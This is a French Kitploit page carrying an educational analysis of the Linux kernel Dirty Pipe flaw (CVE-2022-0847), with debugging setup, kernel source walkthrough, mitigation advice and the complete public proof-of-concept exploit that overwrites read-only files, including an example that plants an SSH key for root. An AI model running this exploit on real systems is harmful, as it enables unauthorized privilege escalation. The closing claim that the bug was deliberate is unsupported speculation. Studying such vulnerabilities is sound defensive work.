Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-0847 — CVE-2022-0847 POC and Docker and Analysis write up | Kitploit
Outils/GitHubGitHub/chenaotian/cve-2022-0847
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

CVE-2022-0847 POC and Docker and Analysis write up

Voir le dépôt
257il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-0847 Dirty Pipe analyse d'élévation de privilèges du noyau Linux

[toc]

Cet article a été initialement publié sur le compte public de sécurité Huawei, voici la version blog (plus complète)

Lien original : https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

Présentation de la vulnérabilité

ID de vulnérabilité : CVE-2022-0847 (alias : Dirty Pipe)

Produit vulnérable : noyau Linux - syscall splice

Versions concernées : Linux 5.8 (introduite par le patch f6dd975583bd ) ~ 5.16.11, 5.15.25, 5.10.102 (corrigées)

Impact : écrire au plus une page (4096 octets) dans n'importe quel fichier lisible (c'est suffisant), permettant une élévation de privilèges locale.

Configuration de l'environnement

Docker d'analyse de la vulnérabilité : chenaotian/cve-2022-0847 (si inaccessible, c'est que je ne l'ai pas encore téléchargé)

Fournit :

  • Noyau Linux 5.13 compilé avec la vulnérabilité et débogable
  • qemu, gdb, code source du noyau Linux 5.13
  • exploit

Démarrage :

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

Débogage :

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Principe de la vulnérabilité

Le principe succinct de la vulnérabilité est que l'appel système splice peut envoyer un fichier dans un tube (pipe) via un mécanisme de "zéro copie". Au niveau du code, la copie zéro correspond à l'utilisation directe de la page de cache du fichier (page cache) comme page buf du tube. Cependant, cela introduit une vulnérabilité de variable non initialisée, qui permet à la page de cache du fichier d'être ensuite traitée comme une page de cache de tube ordinaire dans le canal du tube, et donc d'être "réécrite" et modifiée. Or, dans ce cas, le noyau ne marque pas cette page de cache comme "sale" (dirty) ; pendant un court laps de temps (jusqu'au prochain redémarrage ou équivalent), elle n'est pas rafraîchie sur le disque. Pendant ce temps, tous les accès à ce fichier utiliseront la page de cache modifiée, réalisant ainsi une opération "écrire arbitrairement dans un fichier lisible pendant un court instant". Cela permet une élévation de privilèges locale.

Point d'apparition de la vulnérabilité

D'après le correctif, le point vulnérable se situe dans la fonction copy_page_to_iter_pipe, où une initialisation de buf->flags a été ajoutée. Il s'agit donc d'une vulnérabilité de variable non initialisée.

image-20220308170149137

Le point d'appel de copy_page_to_iter_pipe se trouve dans l'appel système splice. La fonction splice (appel système) transmet le contenu d'un fichier vers un tube via une méthode de "zéro copie". Cela offre de meilleures performances que la transmission directe du contenu du fichier dans le tube. Détails ci-dessous.

Principe du tube (pipe) et pipe_write

Tout d'abord, la vulnérabilité est également appelée "Dirty Pipe". Il est nécessaire de comprendre le tube (pipe). Le tube est un canal de communication fourni par le noyau, créé via les fonctions pipe/pipe2. Il renvoie deux descripteurs de fichier : un pour envoyer des données, l'autre pour les recevoir, comme les deux extrémités d'un tube. Pas de détails superflus ici.

image-20220309124007780

Expliquons brièvement l'implémentation dans le noyau. En général, l'espace cache du tube fait 65536 octets, géré sous forme de pages, soit 16 pages (4096 octets chacune). Les pages ne sont pas contiguës mais gérées via un tableau, formant une liste circulaire. Deux pointeurs de liste sont maintenus : un pour l'écriture (pipe->head) et un pour la lecture (pipe->tail). Analysons principalement la fonction pipe_write :

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1] si le cache du tube n'est pas vide, essayer de "continuer" l'écriture à partir de la dernière page courante
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2] clé : si le drapeau PIPE_BUF_FLAG_CAN_MERGE est présent, la page permet l'écriture continue
             * si la longueur d'écriture ne dépasse pas une page, écrire à la suite, sinon créer une nouvelle page */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3] si on ne peut pas écrire à la suite de la page précédente, créer une nouvelle page
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4] allouer une nouvelle page
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insérer dans le tableau de tampons */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5] placer la page nouvellement allouée dans le tableau de pages
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6] définir le drapeau ; par défaut PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7] opération de copie
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. Si le tube (pipe) n'est pas vide (head==tail indique un tube vide), alors il y a des données non lues ; on obtient le pointeur head, c'est-à-dire la page la plus récente pour l'écriture, on examine ses champs len, offset (pour trouver la fin des données). On essaie alors d'écrire à la suite dans la page courante.
  2. On vérifie si la page courante porte le drapeau PIPE_BUF_FLAG_CAN_MERGE ; s'il est absent, l'écriture continue n'est pas autorisée. Ou si la concaténation des données à écrire avec les données existantes dépasse une page (c'est-à-dire que l'écriture traverse une limite de page) ; si elle traverse, on ne peut pas écrire à la suite.
  3. Si on ne peut pas écrire à la suite de la page précédente, on crée une nouvelle page.
  4. alloc_page alloue une nouvelle page.
  5. La nouvelle page est placée en tête du tableau (peut remplacer une page existante), initialisée.
  6. buf->flag est initialisé par défaut à PIPE_BUF_FLAG_CAN_MERGE, car par défaut la page est autorisée à être réécrite.
  7. Copie des données à écrire ; si pas terminé, répéter les opérations ci-dessus.

La clé de l'exploitation est que le drapeau PIPE_BUF_FLAG_CAN_MERGE n'est pas initialisé dans splice, ce qui détermine si l'on peut écrire à la suite dans une page de tube "non complètement écrite".

De splice à copy_page_to_iter_pipe

Comme mentionné plus haut, le tube gère 16 pages comme cache. La méthode de zéro copie de splice consiste à remplacer directement la page de cache du tube par la page de cache du fichier (en modifiant le pointeur de la page de cache du tube pour pointer vers la page de cache du fichier).

image-20220309124515813

La pile d'appels de l'appel système splice jusqu'à la fonction vulnérable copy_page_to_iter_pipe est profonde ; nous n'entrerons pas dans les détails. Voici la pile :

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read (in->f_op->splice_read par défaut est generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

La fonction copy_page_to_iter_pipe, siège de la vulnérabilité, fait principalement pointer la structure de la page de cache du tube vers la page de cache du fichier à transférer :

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1] obtenir la page de cache du tube correspondante
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2] modifier les informations de la page de cache du tube pour pointer vers la page de cache du fichier
	get_page(page);
	buf->page = page;//[2] le pointeur de page pointe maintenant vers la page de cache du fichier
	buf->offset = offset;//[2] offset, len, etc. sont définis selon les informations courantes (déterminées par les paramètres de splice)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. D'abord, selon la structure circulaire du tableau de pages du tube, trouver la position du pointeur d'écriture courant (pipe->head).
  2. Faire pointer la page à écrire vers la page de cache du fichier préparée, et définir les autres informations, comme len déterminé par les paramètres de l'appel système splice. Sauf que le drapeau n'est pas initialisé, ce qui constitue la vulnérabilité.

En général, après initialisation, pipe->bufs ressemble à ceci :

image-20220308165052936

D'après le code de pipe_write analysé précédemment, si on appelle à nouveau pipe_write pour écrire des données dans le tube, le pointeur d'écriture (pipe->head) pointe vers la page de la figure ci-dessus, et le drapeau est PIPE_BUF_FLAG_CAN_MERGE, donc le noyau considère qu'il est possible d'écrire à la suite de cette page, tant que la longueur d'écriture ne dépasse pas une page :

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1] si le cache du tube n'est pas vide, essayer d'écrire à la suite à partir de la dernière page
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2] clé : si le drapeau PIPE_BUF_FLAG_CAN_MERGE est présent, la page permet l'écriture continue
                 * si la longueur d'écriture ne dépasse pas une page, écrire à la suite, sinon créer une nouvelle page */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

Mécanisme de cache de page du noyau Linux

Linux place le contenu des fichiers ouverts dans des pages de cache. Les pages de cache sont conservées un certain temps après utilisation pour éviter des opérations E/S inutiles. Pendant un court laps de temps, l'accès au même fichier utilisera la même page de cache. En modifiant cette page de cache via notre méthode, tout accès (lecture) ultérieur au fichier pendant cette période lira la page modifiée, permettant ainsi l'exploitation.

Exploitation de la vulnérabilité

Comme décrit ci-dessus, le processus d'exploitation est très simple, une fois le principe compris. Selon l'auteur, les étapes sont les suivantes :

  1. Créer un tube.
  2. Remplir complètement le tube (via pipe_write) ; ainsi tous les buf (pages de cache du tube) sont initialisés, avec le drapeau par défaut PIPE_BUF_FLAG_CAN_MERGE.
  3. Vider le tube (via pipe_read) ; ainsi, lors du transfert de fichier via splice, les structures buf déjà initialisées sont réutilisées.
  4. Appeler splice pour transférer le fichier à modifier dans le tube.
  5. Continuer à écrire dans le tube (pipe_write) ; cela va alors écraser la page de cache du fichier, réalisant ainsi une modification temporaire du fichier.

Détails du débogage

Après l'étape 2, après avoir rempli puis vidé le tube, on peut voir dans la structure bufs les données qui seront réutilisées pour les contenus non initialisés :

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

Après splice, le fichier est transféré et devient comme ci-dessous ; le drapeau n'est pas initialisé, et il faut définir len aussi petit que possible, car plus il est petit, plus on pourra écrire de données lors de l'écriture suivante. Ici, on le met à 1, et l'offset est l'adresse de départ de la modification souhaitée. Le pointeur pipe->bufs->page pointera vers l'adresse de départ :

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

Un nouvel appel à pipe_write remplit la condition d'écriture continue et écrit directement dans la page :

image-20220308174556226

Exploit (exploit)

Pas écrit par moi, issu de la divulgation de la vulnérabilité :

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Élévation de privilèges réussie :

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

Nous avons démontré l'effet d'écriture arbitraire dans un fichier. L'exploitation concrète peut consister à modifier /etc/passwd, ou une clé SSH, ou un fichier suid, etc., pour une élévation de privilèges réelle. Pas de manipulation ici (de toute façon, je ne fais pas de pénétration).

Quelques limitations (mineures)

  1. Impossible de modifier la taille du fichier (on ne peut pas l'agrandir).
  2. La longueur d'écriture par opération ne peut pas dépasser une page (4 Ko).

Mesures d'atténuation

Recommandations

Comme il s'agit d'une vulnérabilité du noyau, il n'y a pas de bonne solution immédiate. Il est recommandé de mettre à jour le noyau vers les versions corrigées : 5.16.11, 5.15.25, 5.10.102 ou supérieures.

Vérification de la vulnérabilité (outil)

Basé sur le POC publié par le divulgateur, j'ai écrit un outil de vérification simple. Si la vulnérabilité est présente, il affiche "There is CVE-2022-0847" :

image-20220308202244668

Si la vulnérabilité est absente, il affiche "You are safe!".

Références

Divulgation de la vulnérabilité : https://dirtypipe.cm4all.com/

Théorie du complot

Le drapeau PIPE_BUF_FLAG_CAN_MERGE n'apparaît que cinq fois : une fois dans la déclaration #define, deux fois dans pipe_write. Les deux autres occurrences se trouvent dans splice :

image-20220308211006312

Et d'après le code utilisant cette variable, sa signification est de savoir s'il est permis d'écrire à la suite dans la page de cache du tube courante. Normalement, les pages allouées par le tube lui-même sont des pages ordinaires, et écrire à la suite est normal. Dans quel cas cela ne doit pas être autorisé ? Lorsque la page n'a pas été allouée par le tube lui-même, on ne peut pas la modifier arbitrairement. Donc, dans la pratique, c'est presque uniquement dans splice que l'on rencontre des pages qui ne sont pas allouées par le tube. Autrement dit, le drapeau PIPE_BUF_FLAG_CAN_MERGE a été conçu spécifiquement pour splice. Et vous me dites qu'il n'est pas initialisé ?

Je soupçonne donc que cette vulnérabilité n'est pas du tout due à une négligence...

Télécharger l’outil